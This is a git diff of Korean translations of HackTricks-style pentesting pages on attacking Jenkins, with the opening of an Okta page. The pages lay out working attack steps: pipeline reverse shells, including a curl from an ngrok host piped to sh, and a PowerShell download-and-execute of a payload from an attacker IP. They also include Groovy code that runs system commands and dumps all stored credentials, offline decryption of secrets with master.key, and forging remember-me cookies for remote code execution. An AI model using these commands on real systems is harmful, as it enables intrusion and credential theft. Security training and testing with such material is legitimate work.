통합된 파이프라인의 경우, 웹훅 기반 통합이 이미 존재할 가능성이 있으므로 `triggers`가 필요하지 않을 수 있습니다. 현재 사용 가능한 트리거는 `cron`, `pollSCM` 및 `upstream`입니다. Cron 예: ```bash triggers { cron('H */4 * * 1-5') } ``` -Check **other examples in the docs**. +다른 예제는 **문서에서 확인하세요**. -### Nodes & Agents +### 노드 및 에이전트 -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. +**Jenkins 인스턴스**는 **다른 머신에서 실행되는 다양한 에이전트**를 가질 수 있습니다. 공격자의 관점에서 볼 때, 다양한 머신에 대한 접근은 **다양한 잠재적 클라우드 자격 증명**을 훔치거나 **다른 머신을 악용할 수 있는 다양한 네트워크 접근**을 의미합니다. -For more information check the basic information: +자세한 정보는 기본 정보를 확인하세요: {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the **`Built-In Node`** (which is the node running Jenkins) and potentially more: +`/computer/`에서 **구성된 노드**를 나열할 수 있으며, 보통 **`Built-In Node`** (Jenkins를 실행하는 노드)를 찾을 수 있고, 잠재적으로 더 많은 노드를 찾을 수 있습니다: ![](<../../images/image (249).png>) -It is **특히 Built-In 노드를 손상시키는 것이 흥미롭습니다** because it contains sensitive Jenkins information. +**Built-In 노드를 타겟으로 하는 것이 특히 흥미롭습니다**. 왜냐하면 이 노드는 민감한 Jenkins 정보를 포함하고 있기 때문입니다. -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +**내장 Jenkins 노드**에서 **파이프라인**을 **실행**하고 싶다는 것을 나타내기 위해, 파이프라인 내에서 다음 구성을 지정할 수 있습니다: ```bash pipeline { agent {label 'built-in'} ``` -### 완전한 예제 +### 전체 예제 -특정 에이전트에서의 파이프라인, 크론 트리거와 함께, 파이프라인 및 스테이지 환경 변수, 단계에서 2개의 변수를 로드하고 리버스 셸을 전송하는 경우: +특정 에이전트에서의 파이프라인, 크론 트리거와 함께, 파이프라인 및 단계 환경 변수, 단계에서 2개의 변수를 로드하고 리버스 셸을 전송하는 예: ```bash pipeline { agent {label 'built-in'} @@ -328,7 +316,7 @@ msf> post/multi/gather/jenkins_gather 당신은 충분한 권한이 있다면 `/credentials/`에 접근하여 비밀을 나열할 수 있습니다. 이는 `credentials.xml` 파일 내의 비밀만 나열하지만, **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다. -당신이 **각 프로젝트의 구성을 볼 수 있다면**, 저장소에 접근하기 위해 사용되는 **자격 증명(비밀)**의 이름과 **프로젝트의 다른 자격 증명**도 그 안에서 볼 수 있습니다. +만약 당신이 **각 프로젝트의 구성을 볼 수 있다면**, 저장소에 접근하기 위해 사용되는 **자격 증명(비밀)**의 이름과 **프로젝트의 다른 자격 증명**도 볼 수 있습니다. ![](<../../images/image (180).png>) @@ -363,7 +351,7 @@ credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm ``` #### Jenkins 비밀을 오프라인으로 복호화하기 -**비밀을 복호화하는 데 필요한 비밀번호를 덤프한 경우**, **이 스크립트**를 사용하여 **그 비밀을 복호화하세요**. [**이 스크립트**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) +**비밀을 복호화하는 데 필요한 비밀번호를 덤프한 경우**, **이 스크립트**를 사용하여 **그 비밀을 복호화하세요**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -381,10 +369,10 @@ println(hudson.util.Secret.decrypt("{...}")) 2. `true`라는 단어를 검색하고 **`true`**를 **`false`**로 변경합니다. 1. `sed -i -e 's/truefalsetrue`로 변경하여 **보안을 다시 활성화**하고 **Jenkins를 다시 재시작**합니다. -## 참고문헌 +## 참고자료 - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index e8c6ae492..40ac88af0 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,44 +1,44 @@ -# Basic Jenkins Information +# 기본 Jenkins 정보 {{#include ../../banners/hacktricks-training.md}} -## Access +## 접근 -### Username + Password +### 사용자 이름 + 비밀번호 Jenkins에 로그인하는 가장 일반적인 방법은 사용자 이름 또는 비밀번호입니다. -### Cookie +### 쿠키 -**인증된 쿠키가 도난당하면**, 사용자의 세션에 접근하는 데 사용될 수 있습니다. 쿠키는 일반적으로 `JSESSIONID.*`라고 불립니다. (사용자는 모든 세션을 종료할 수 있지만, 쿠키가 도난당했음을 먼저 알아야 합니다). +**권한이 있는 쿠키가 도난당하면**, 사용자의 세션에 접근하는 데 사용될 수 있습니다. 쿠키는 일반적으로 `JSESSIONID.*`라고 불립니다. (사용자는 자신의 모든 세션을 종료할 수 있지만, 먼저 쿠키가 도난당했음을 알아야 합니다). -### SSO/Plugins +### SSO/플러그인 -Jenkins는 플러그인을 사용하여 **제3자 SSO를 통해 접근 가능하도록** 구성할 수 있습니다. +Jenkins는 플러그인을 사용하여 **타사 SSO를 통해 접근 가능하도록** 구성할 수 있습니다. -### Tokens +### 토큰 -**사용자는 토큰을 생성하여** 애플리케이션이 CLI 또는 REST API를 통해 자신을 가장할 수 있도록 접근을 제공합니다. +**사용자는 토큰을 생성하여** CLI 또는 REST API를 통해 자신을 가장하는 애플리케이션에 접근할 수 있도록 할 수 있습니다. -### SSH Keys +### SSH 키 -이 구성 요소는 Jenkins를 위한 내장 SSH 서버를 제공합니다. 이는 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)에 대한 대체 인터페이스이며, 명령은 모든 SSH 클라이언트를 사용하여 이 방법으로 호출할 수 있습니다. (문서에서 발췌) +이 구성 요소는 Jenkins를 위한 내장 SSH 서버를 제공합니다. 이는 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)에 대한 대체 인터페이스이며, 명령은 모든 SSH 클라이언트를 사용하여 이 방법으로 호출할 수 있습니다. (문서에서) -## Authorization +## **권한 부여** `/configureSecurity`에서 **Jenkins의 권한 부여 방법을 구성할 수 있습니다**. 여러 가지 옵션이 있습니다: - **누구나 무엇이든 할 수 있음**: 익명 접근조차도 서버를 관리할 수 있습니다. - **레거시 모드**: Jenkins <1.164와 동일합니다. **"admin" 역할**이 있는 경우 시스템에 대한 **전체 제어**가 부여되며, **그렇지 않은 경우**(익명 사용자 포함) **읽기** 접근만 가능합니다. -- **로그인한 사용자는 무엇이든 할 수 있음**: 이 모드에서는 모든 **로그인한 사용자에게 Jenkins의 전체 제어**가 부여됩니다. 전체 제어가 없는 유일한 사용자는 **익명 사용자**로, **읽기 접근**만 가능합니다. -- **행렬 기반 보안**: **누가 무엇을 할 수 있는지**를 표로 구성할 수 있습니다. 각 **열**은 **권한**을 나타냅니다. 각 **행**은 **사용자 또는 그룹/역할**을 **나타냅니다**. 여기에는 **인증되지 않은 사용자**를 나타내는 특별한 사용자 '**anonymous**'와 **모든 인증된 사용자**를 나타내는 '**authenticated**'가 포함됩니다. +- **로그인한 사용자는 무엇이든 할 수 있음**: 이 모드에서는 모든 **로그인한 사용자에게 Jenkins의 전체 제어**가 부여됩니다. 전체 제어를 가지지 않는 유일한 사용자는 **익명 사용자**로, **읽기 접근**만 가능합니다. +- **행렬 기반 보안**: **누가 무엇을 할 수 있는지**를 표로 구성할 수 있습니다. 각 **열**은 **권한**을 나타냅니다. 각 **행**은 **사용자 또는 그룹/역할**을 **나타냅니다**. 여기에는 **인증되지 않은 사용자**를 나타내는 특별한 사용자 '**익명**'과 **모든 인증된 사용자**를 나타내는 '**인증된**'이 포함됩니다. ![](<../../images/image (149).png>) -- **프로젝트 기반 행렬 권한 부여 전략:** 이 모드는 **각 프로젝트에 대해 별도로 정의된 추가 ACL 행렬을 허용하는** "**행렬 기반 보안**"의 확장입니다. +- **프로젝트 기반 행렬 권한 부여 전략:** 이 모드는 **각 프로젝트에 대해 별도로 추가 ACL 행렬을 정의할 수 있는** "**행렬 기반 보안**"의 확장입니다. - **역할 기반 전략:** **역할 기반 전략**을 사용하여 권한을 정의할 수 있습니다. `/role-strategy`에서 역할을 관리합니다. -## **Security Realm** +## **보안 영역** `/configureSecurity`에서 **보안 영역을 구성할 수 있습니다**. 기본적으로 Jenkins는 몇 가지 다른 보안 영역에 대한 지원을 포함합니다: @@ -50,30 +50,30 @@ Jenkins는 플러그인을 사용하여 **제3자 SSO를 통해 접근 가능하 플러그인은 Jenkins를 기존 신원 시스템에 통합하는 데 유용할 수 있는 추가 보안 영역을 제공할 수 있습니다: - [Active Directory](https://plugins.jenkins.io/active-directory) -- [GitHub Authentication](https://plugins.jenkins.io/github-oauth) +- [GitHub 인증](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Nodes, Agents & Executors +## Jenkins 노드, 에이전트 및 실행기 -[문서](https://www.jenkins.io/doc/book/managing/nodes/)에서의 정의: +[문서](https://www.jenkins.io/doc/book/managing/nodes/)에서 정의: **노드**는 **빌드 에이전트가 실행되는 머신**입니다. Jenkins는 각 연결된 노드의 디스크 공간, 여유 임시 공간, 여유 스왑, 시계 시간/동기화 및 응답 시간을 모니터링합니다. 이러한 값 중 하나라도 구성된 임계값을 초과하면 노드는 오프라인 상태가 됩니다. -**에이전트**는 **Jenkins 컨트롤러를 대신하여 작업 실행을 관리**합니다. 에이전트는 Java를 지원하는 모든 운영 체제를 사용할 수 있습니다. 빌드 및 테스트에 필요한 도구는 에이전트가 실행되는 노드에 설치되며, **직접 설치하거나 컨테이너**(Docker 또는 Kubernetes)에서 설치할 수 있습니다. 각 **에이전트는 호스트 머신에서 고유한 PID를 가진 프로세스입니다**. +**에이전트**는 **실행기**를 사용하여 Jenkins 컨트롤러를 대신하여 **작업 실행**을 **관리**합니다. 에이전트는 Java를 지원하는 모든 운영 체제를 사용할 수 있습니다. 빌드 및 테스트에 필요한 도구는 에이전트가 실행되는 노드에 설치되며, **직접 설치하거나 컨테이너**(Docker 또는 Kubernetes)에서 설치할 수 있습니다. 각 **에이전트는 호스트 머신에서 고유한 PID를 가진 프로세스**입니다. **실행기**는 **작업 실행을 위한 슬롯**입니다. 본질적으로, 이는 **에이전트의 스레드**입니다. 노드의 **실행기 수**는 해당 노드에서 동시에 실행할 수 있는 **동시 작업 수**를 정의합니다. 즉, 이는 해당 노드에서 동시에 실행할 수 있는 **동시 파이프라인 `단계` 수**를 결정합니다. -## Jenkins Secrets +## Jenkins 비밀 -### Encryption of Secrets and Credentials +### 비밀 및 자격 증명의 암호화 -[문서](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)에서의 정의: Jenkins는 **AES를 사용하여 비밀**, 자격 증명 및 해당 암호화 키를 보호합니다. 이러한 암호화 키는 `$JENKINS_HOME/secrets/`에 저장되며, 해당 키를 보호하는 데 사용되는 마스터 키와 함께 저장됩니다. 이 디렉토리는 Jenkins 컨트롤러가 실행되는 운영 체제 사용자만 읽기 및 쓰기 접근을 가질 수 있도록 구성해야 합니다(즉, `chmod` 값이 `0700`이거나 적절한 파일 속성을 사용). **마스터 키**(때때로 암호학 용어에서 "키 암호화 키"라고도 함)는 **Jenkins 컨트롤러 파일 시스템에 \_암호화되지 않은 상태로 저장됩니다** **`$JENKINS_HOME/secrets/master.key`**에 저장되어 있으며, 해당 파일에 직접 접근할 수 있는 공격자에 대한 보호가 없습니다. 대부분의 사용자와 개발자는 일반적으로 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API를 통해 일반 비밀 데이터를 암호화하거나 자격 증명 API를 통해 이러한 암호화 키를 간접적으로 사용합니다. 암호화에 관심이 있는 사람들을 위해, Jenkins는 AES를 CBC 모드와 PKCS#5 패딩 및 무작위 IV를 사용하여 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 인스턴스를 암호화하며, 이는 `$JENKINS_HOME/secrets/`에 해당 `CryptoConfidentialKey` ID에 해당하는 파일 이름으로 저장됩니다. 일반적인 키 ID는 다음과 같습니다: +[문서](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)에서 정의: Jenkins는 **AES를 사용하여 비밀**, 자격 증명 및 해당 암호화 키를 보호합니다. 이러한 암호화 키는 `$JENKINS_HOME/secrets/`에 저장되며, 해당 키를 보호하는 데 사용되는 마스터 키와 함께 저장됩니다. 이 디렉토리는 Jenkins 컨트롤러가 실행되는 운영 체제 사용자만 읽기 및 쓰기 접근을 가질 수 있도록 구성해야 합니다(즉, `chmod` 값이 `0700`이거나 적절한 파일 속성을 사용). **마스터 키**(때때로 암호 용어에서 "키 암호화 키"라고도 함)는 **Jenkins 컨트롤러 파일 시스템에 \_암호화되지 않은 상태로 저장됩니다** **`$JENKINS_HOME/secrets/master.key`**에 저장되어 있으며, 이는 해당 파일에 직접 접근할 수 있는 공격자에 대한 보호를 제공하지 않습니다. 대부분의 사용자와 개발자는 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API를 통해 일반 비밀 데이터를 암호화하거나 자격 증명 API를 통해 이러한 암호화 키를 간접적으로 사용합니다. 암호화에 관심이 있는 사람들을 위해, Jenkins는 AES를 암호 블록 체인(CBC) 모드와 PKCS#5 패딩 및 무작위 IV를 사용하여 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 인스턴스를 암호화하며, 이는 `$JENKINS_HOME/secrets/`에 해당 `CryptoConfidentialKey` ID에 해당하는 파일 이름으로 저장됩니다. 일반적인 키 ID는 다음과 같습니다: -- `hudson.util.Secret`: 일반 비밀에 사용됩니다; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: 일부 자격 증명 유형에 사용됩니다; -- `jenkins.model.Jenkins.crumbSalt`: [CSRF 보호 메커니즘](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)에서 사용됩니다; 및 +- `hudson.util.Secret`: 일반 비밀에 사용됩니다. +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: 일부 자격 증명 유형에 사용됩니다. +- `jenkins.model.Jenkins.crumbSalt`: [CSRF 보호 메커니즘](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)에서 사용됩니다. -### Credentials Access +### 자격 증명 접근 자격 증명은 **전역 제공자**(`credentials/`)에 범위가 지정될 수 있으며, 이는 구성된 모든 프로젝트에서 접근할 수 있습니다. 또는 **특정 프로젝트**(`job//configure`)에 범위가 지정되어 해당 특정 프로젝트에서만 접근할 수 있습니다. @@ -81,13 +81,13 @@ Jenkins는 플러그인을 사용하여 **제3자 SSO를 통해 접근 가능하 **그래서 자격 증명을 유출하기 위해 공격자는 예를 들어, base64로 인코딩해야 합니다.** -## References +## 참조 - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) - [https://www.jenkins.io/doc/developer/security/secrets/](https://www.jenkins.io/doc/developer/security/secrets/) - [https://www.jenkins.io/blog/2019/02/21/credentials-masking/](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) -- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-for-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) +- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) - [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 5ab0d7d5c..0e49f0819 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -4,7 +4,7 @@ 이 블로그 게시물에서는 Jenkins의 Local File Inclusion 취약점을 RCE로 변환하는 훌륭한 방법을 찾을 수 있습니다: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -이것은 임의의 쿠키를 조작하여 RCE를 얻기 위해 로컬 파일 읽기를 악용하는 게시물의 요약입니다. 제가 직접 요약을 작성할 시간이 생길 때까지의 내용입니다: +이것은 임의의 쿠키를 악용하여 RCE를 얻는 방법에 대한 게시물의 요약입니다. 제가 직접 요약을 작성할 시간이 생길 때까지 사용됩니다: ### Attack Prerequisites @@ -18,7 +18,7 @@ **User Information Retrieval** -- 각 사용자에 대한 `$JENKINS_HOME/users/*.xml`에서 사용자 구성 및 비밀을 액세스하여 다음을 수집합니다: +- 각 사용자에 대한 `$JENKINS_HOME/users/*.xml`에서 사용자 구성 및 비밀을 액세스하여 수집합니다: - **Username** - **User seed** - **Timestamp** @@ -35,13 +35,13 @@ **Token Preparation** -- **Calculate Token Expiry Time:** +- **토큰 만료 시간 계산:** ```javascript tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 현재 시간에 1시간 추가 ``` -- **Concatenate Data for Token:** +- **토큰을 위한 데이터 연결:** ```javascript token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey @@ -49,11 +49,11 @@ token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey **MAC Key Decryption** -- **Decrypt MAC Key File:** +- **MAC 키 파일 복호화:** ```javascript key = toAes128Key(masterKey) // 마스터 키를 AES128 키 형식으로 변환 -decrypted = AES.decrypt(macFile, key) // .mac 파일을 복호화 +decrypted = AES.decrypt(macFile, key) // .mac 파일 복호화 if not decrypted.hasSuffix("::::MAGIC::::") return ERROR; macKey = decrypted.withoutSuffix("::::MAGIC::::") @@ -61,7 +61,7 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::") **Signature Computation** -- **Compute HMAC SHA256:** +- **HMAC SHA256 계산:** ```javascript mac = HmacSHA256(token, macKey) // 토큰과 MAC 키를 사용하여 HMAC 계산 @@ -70,7 +70,7 @@ tokenSignature = bytesToHexString(mac) // MAC을 16진수 문자열로 변환 **Cookie Encoding** -- **Generate Final Cookie:** +- **최종 쿠키 생성:** ```javascript cookie = base64.encode( @@ -82,13 +82,13 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature **Session Authentication** -- **Fetch CSRF and Session Tokens:** +- **CSRF 및 세션 토큰 가져오기:** - `/crumbIssuer/api/json`에 요청을 보내 `Jenkins-Crumb`를 얻습니다. - 응답에서 `JSESSIONID`를 캡처하여 remember-me 쿠키와 함께 사용합니다. **Command Execution Request** -- **Send a POST Request with Groovy Script:** +- **Groovy 스크립트로 POST 요청 보내기:** ```bash curl -X POST "$JENKINS_URL/scriptText" \ @@ -98,8 +98,8 @@ curl -X POST "$JENKINS_URL/scriptText" \ --data-urlencode "script=$SCRIPT" ``` -- Groovy 스크립트를 사용하여 시스템 수준의 명령이나 Jenkins 환경 내에서 다른 작업을 실행할 수 있습니다. +- Groovy 스크립트는 시스템 수준의 명령이나 Jenkins 환경 내에서 다른 작업을 실행하는 데 사용할 수 있습니다. -제공된 curl 명령 예시는 임의의 코드를 안전하게 실행하기 위해 필요한 헤더와 쿠키를 사용하여 Jenkins에 요청을 보내는 방법을 보여줍니다. +제공된 curl 명령 예시는 임의의 코드를 안전하게 실행하기 위해 필요한 헤더와 쿠키로 Jenkins에 요청하는 방법을 보여줍니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 669fcbfa2..44b54b108 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,9 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> 이 스크립트는 `credentials.xml` 파일 내의 비밀만 나열하지만 **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다. +> 이 스크립트는 `credentials.xml` 파일 내의 비밀만 나열하지만, **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다. -다음 코드를 실행하여 `/script`의 Groovy Script 콘솔에서 **모든 비밀을 덤프**할 수 있습니다. +이 코드를 실행하여 `/script`에서 **Groovy Script 콘솔의 모든 비밀을 덤프할 수 있습니다**. ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 1e317ba76..d49e0596e 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -4,11 +4,11 @@ ## 새로운 파이프라인 만들기 -"새 항목"에서 (`/view/all/newJob`에서 접근 가능) **파이프라인**을 선택합니다: +"New Item"에서 (`/view/all/newJob`에서 접근 가능) **Pipeline**을 선택합니다: ![](<../../images/image (235).png>) -**파이프라인 섹션**에 **리버스 셸**을 작성합니다: +**Pipeline 섹션**에 **reverse shell**을 작성합니다: ![](<../../images/image (285).png>) ```groovy @@ -32,6 +32,6 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh ## 파이프라인 수정 -구성된 일부 파이프라인의 구성 파일에 접근할 수 있다면, **리버스 셸을 추가하여 수정**한 다음 실행하거나 실행될 때까지 기다릴 수 있습니다. +구성된 일부 파이프라인의 구성 파일에 접근할 수 있다면, **리버스 셸을 추가하여 수정**한 다음 실행하거나 실행될 때까지 기다릴 수 있습니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 1e6828f29..f7f3ff851 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -6,7 +6,7 @@ 이 방법은 새로운 프로젝트를 만들어야 하기 때문에 매우 시끄럽습니다 (명백히 사용자가 새로운 프로젝트를 만들 수 있는 경우에만 작동합니다). -1. **새 프로젝트 만들기** (자유형 프로젝트) "New Item"을 클릭하거나 `/view/all/newJob`에서 클릭합니다. +1. **새 프로젝트 만들기** (Freestyle project) "New Item"을 클릭하거나 `/view/all/newJob`에서 클릭합니다. 2. **Build** 섹션에서 **Execute shell**을 설정하고 powershell Empire launcher 또는 meterpreter powershell을 붙여넣습니다 (이는 _unicorn_을 사용하여 얻을 수 있습니다). _powershell._ 대신 _PowerShell.exe_로 페이로드를 시작합니다. 3. **Build now**를 클릭합니다. 1. **Build now** 버튼이 나타나지 않으면 여전히 **configure** --> **Build Triggers** --> `Build periodically`로 이동하여 `* * * * *`의 크론을 설정할 수 있습니다. @@ -20,7 +20,7 @@ ![](<../../images/image (265).png>) -**구성** **버튼**이 보이지 않으면 아마도 **구성할 수 없습니다** (하지만 모든 프로젝트를 확인하세요. 일부는 구성할 수 있고 다른 일부는 구성할 수 있을 수 있습니다). +**구성** **버튼**이 보이지 않으면 아마도 **구성할 수 없습니다** (하지만 모든 프로젝트를 확인하세요. 일부는 구성할 수 있고 다른 것은 구성할 수 있을 수 있습니다). 또는 각 프로젝트에서 `/job//configure` 또는 `/me/my-views/view/all/job//configure` 경로에 **접근해 보세요** (예: `/job/Project0/configure` 또는 `/me/my-views/view/all/job/Project0/configure`). @@ -31,6 +31,6 @@ ![](<../../images/image (98).png>) **Save**를 클릭하고 프로젝트를 **빌드**하면 **명령이 실행됩니다**.\ -리버스 셸을 실행하지 않고 단순한 명령을 실행하는 경우 **빌드의 출력 내에서 명령의 출력을 볼 수 있습니다**. +리버스 셸을 실행하지 않고 간단한 명령을 실행하는 경우 **빌드의 출력 내에서 명령의 출력을 볼 수 있습니다**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index a2e0aa110..bbc367a21 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,7 +4,7 @@ ## Jenkins RCE with Groovy Script -Jenkins에서 새 프로젝트를 만드는 것보다 덜 시끄럽습니다. +이것은 Jenkins에서 새 프로젝트를 만드는 것보다 덜 시끄럽습니다. 1. _path_jenkins/script_로 이동합니다. 2. 텍스트 상자에 스크립트를 입력합니다. @@ -16,9 +16,9 @@ println "Found text ${process.text}" **리눅스**에서는 다음과 같이 할 수 있습니다: **`"ls /".execute().text`** -텍스트 안에 _따옴표_와 _단일 따옴표_를 사용해야 하는 경우, _"""PAYLOAD"""_ (삼중 큰따옴표)를 사용하여 페이로드를 실행할 수 있습니다. +텍스트 안에 _따옴표_와 _단일 따옴표_를 사용해야 하는 경우, _"""PAYLOAD"""_ (세 개의 큰따옴표)를 사용하여 페이로드를 실행할 수 있습니다. -**또 다른 유용한 groovy 스크립트**는 ( \[INSERT COMMAND]를 교체하세요): +**또 다른 유용한 groovy 스크립트**는 (여기서 \[INSERT COMMAND]를 교체하세요): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -34,17 +34,17 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` -### Reverse shell in windows +### 윈도우에서의 리버스 셸 -HTTP 서버를 PS 리버스 셸로 준비하고 Jeking을 사용하여 다운로드하고 실행할 수 있습니다: +PS 리버스 셸로 HTTP 서버를 준비하고 Jeking을 사용하여 다운로드하고 실행할 수 있습니다: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` -### Script +### 스크립트 -이 프로세스는 [**이 스크립트**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)로 자동화할 수 있습니다. +이 프로세스는 [**이 스크립트**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)를 사용하여 자동화할 수 있습니다. MSF를 사용하여 리버스 셸을 얻을 수 있습니다: ``` diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 242c542e8..969d930c7 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,17 +4,17 @@ ## Basic Information -[Okta, Inc.](https://www.okta.com/)는 클라우드 기반 소프트웨어 솔루션으로 신원 및 접근 관리 분야에서 인정받고 있습니다. 이러한 솔루션은 다양한 현대 애플리케이션에서 사용자 인증을 간소화하고 안전하게 설계되었습니다. 이들은 민감한 데이터를 보호하려는 기업뿐만 아니라 애플리케이션, 웹 서비스 및 장치에 신원 제어를 통합하려는 개발자에게도 적합합니다. +[Okta, Inc.](https://www.okta.com/)는 클라우드 기반 소프트웨어 솔루션으로 신원 및 접근 관리 분야에서 인정받고 있습니다. 이러한 솔루션은 다양한 현대 애플리케이션에서 사용자 인증을 간소화하고 안전하게 설계되었습니다. 이들은 민감한 데이터를 보호하려는 기업뿐만 아니라 애플리케이션, 웹 서비스 및 장치에 신원 제어를 통합하려는 개발자에게도 유용합니다. Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다음과 같은 제품군을 포함합니다: - **Single Sign-On (SSO)**: 여러 애플리케이션에서 하나의 로그인 자격 증명을 사용하여 사용자 접근을 간소화합니다. - **Multi-Factor Authentication (MFA)**: 여러 형태의 인증을 요구하여 보안을 강화합니다. - **Lifecycle Management**: 사용자 계정 생성, 업데이트 및 비활성화 프로세스를 자동화합니다. -- **Universal Directory**: 사용자, 그룹 및 장치의 중앙 집중식 관리를 가능하게 합니다. +- **Universal Directory**: 사용자, 그룹 및 장치의 중앙 관리를 가능하게 합니다. - **API Access Management**: API에 대한 접근을 보호하고 관리합니다. -이러한 서비스는 데이터 보호를 강화하고 사용자 접근을 간소화하여 보안과 편의성을 모두 향상시키는 것을 목표로 합니다. Okta의 솔루션의 다재다능함은 다양한 산업에서 인기를 끌게 하며, 대기업, 중소기업 및 개인 개발자 모두에게 유익합니다. 2021년 9월 마지막 업데이트 기준으로 Okta는 신원 및 접근 관리(IAM) 분야에서 저명한 기업으로 인정받고 있습니다. +이 서비스들은 데이터 보호를 강화하고 사용자 접근을 간소화하여 보안과 편의성을 모두 향상시키는 것을 목표로 합니다. Okta의 솔루션의 다재다능함은 